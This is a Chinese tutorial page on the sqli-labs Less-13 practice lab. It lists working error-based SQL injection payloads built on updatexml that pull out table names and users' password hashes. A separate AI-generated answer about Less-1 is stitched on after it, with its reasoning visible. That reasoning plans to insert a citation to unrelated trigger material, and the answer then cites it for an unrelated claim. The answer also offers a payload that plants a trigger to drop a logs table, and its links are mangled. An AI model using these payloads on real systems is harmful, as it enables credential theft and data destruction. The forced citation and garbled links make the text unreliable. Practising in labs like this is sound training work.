SQL注入实例(sqli-labs/less-13)

 0、初始页面

1、确定闭合字符

2、确定列数

3、确定回显位置

无回显,但是有报错

a') union select 1,2 #

4、爆库名

a') and updatexml(1,concat(0x7e,database(),0x7e),1) #

5、爆表名

a') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

 

6、爆列名

a') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema='security'),0x7e),1) #

7、查询最终结果

a') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #

会用substr可32位字符查看

a') and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) #

<think>好的,我需要回答用户关于SQL注入手工实例的请求,特别是与sqli-labs-master相关的内容。首先,我应该先了解用户的需求,他们可能想通过实践来学习SQL注入的基础知识和技巧。sqli-labs-master是一个流行的练习环境,提供多种不同类型的注入漏洞场景,适合手工测试。 接下来,我需要确保回答结构清晰,分步骤说明如何搭建环境、基础注入步骤以及示例。同时,必须引用提供的参考内容中的触发器部分,虽然引用内容似乎与SQL注入关联不大,但可能需要找到合适的点来自然引用。例如,在提到数据库操作或触发器时,可以引用工具支持创建DDL和DML触发器的信息,但需要确保引用合理,不显得牵强。 然后,考虑到用户需要手工实例,我应该给出具体的步骤,比如判断注入点、确定列数、查找回显位置等,并配合示例的Payload。同时,提醒用户注意法律和道德规范,避免滥用这些技术。 最后,生成相关问题,帮助用户进一步深入学习,比如不同类型的注入、绕过防护的方法、自动化工具等。确保所有数学公式和代码块符合格式要求,使用中文回答,并且引用标记自然添加。</think>### SQL注入手工实例sqli-labs-master实践指南 #### 1. 环境搭建与基础知识 sqli-labs-master是一个专门用于学习SQL注入的开源靶场,支持多种数据库(如MySQLSQL Server)。建议通过以下步骤部署: ```bash git clone https://github.com/Audi-1/sqli-labs cd sqli-labs # 配置数据库连接信息后访问本地端口练习 ``` #### 2. 基础注入步骤(以Less-1为例) 1. **判断注入点** 输入`id=1'`触发错误,验证是否存在字符型注入: ```sql http://localhost/Less-1/?id=1' ``` 若返回数据库错误,则存在注入漏洞[^1]。 2. **确定列数** 使用`ORDER BY`逐级测试: ```sql http://localhost/Less-1/?id=1' ORDER BY 3--+ ``` 当`ORDER BY 4`报错时,说明共3列。 3. **查找回显位置** 使用联合查询定位输出点: ```sql http://localhost/Less-1/?id=-1' UNION SELECT 1,2,3--+ ``` #### 3. 进阶示例:数据库信息提取 ```sql http://localhost/Less-1/?id=-1' UNION SELECT 1,database(),version()--+ ``` 此Payload将返回当前数据库名和版本信息,例如: $$ \text{结果示例:} \quad \text{数据库: security, 版本: 5.7.36} $$ #### 4. SQL触发器与注入关联 虽然触发器主要用于自动化数据库操作(如DDL/DML事件响应),但注入攻击可能利用其特性。例如通过注入修改触发器逻辑: ```sql '; CREATE TRIGGER malicious_trigger AFTER INSERT ON users FOR EACH ROW BEGIN DROP TABLE logs; END;-- ``` (此示例需高权限账户)参考工具`Get-SQLTriggerDdl`可用于分析现有触发器结构[^1]。 #### 5. 防御建议 - 参数化查询:`PreparedStatement`防止语句拼接 - 输入过滤:正则表达式验证输入格式 - 最小权限原则:数据库账户仅分配必要权限
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

魏大橙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值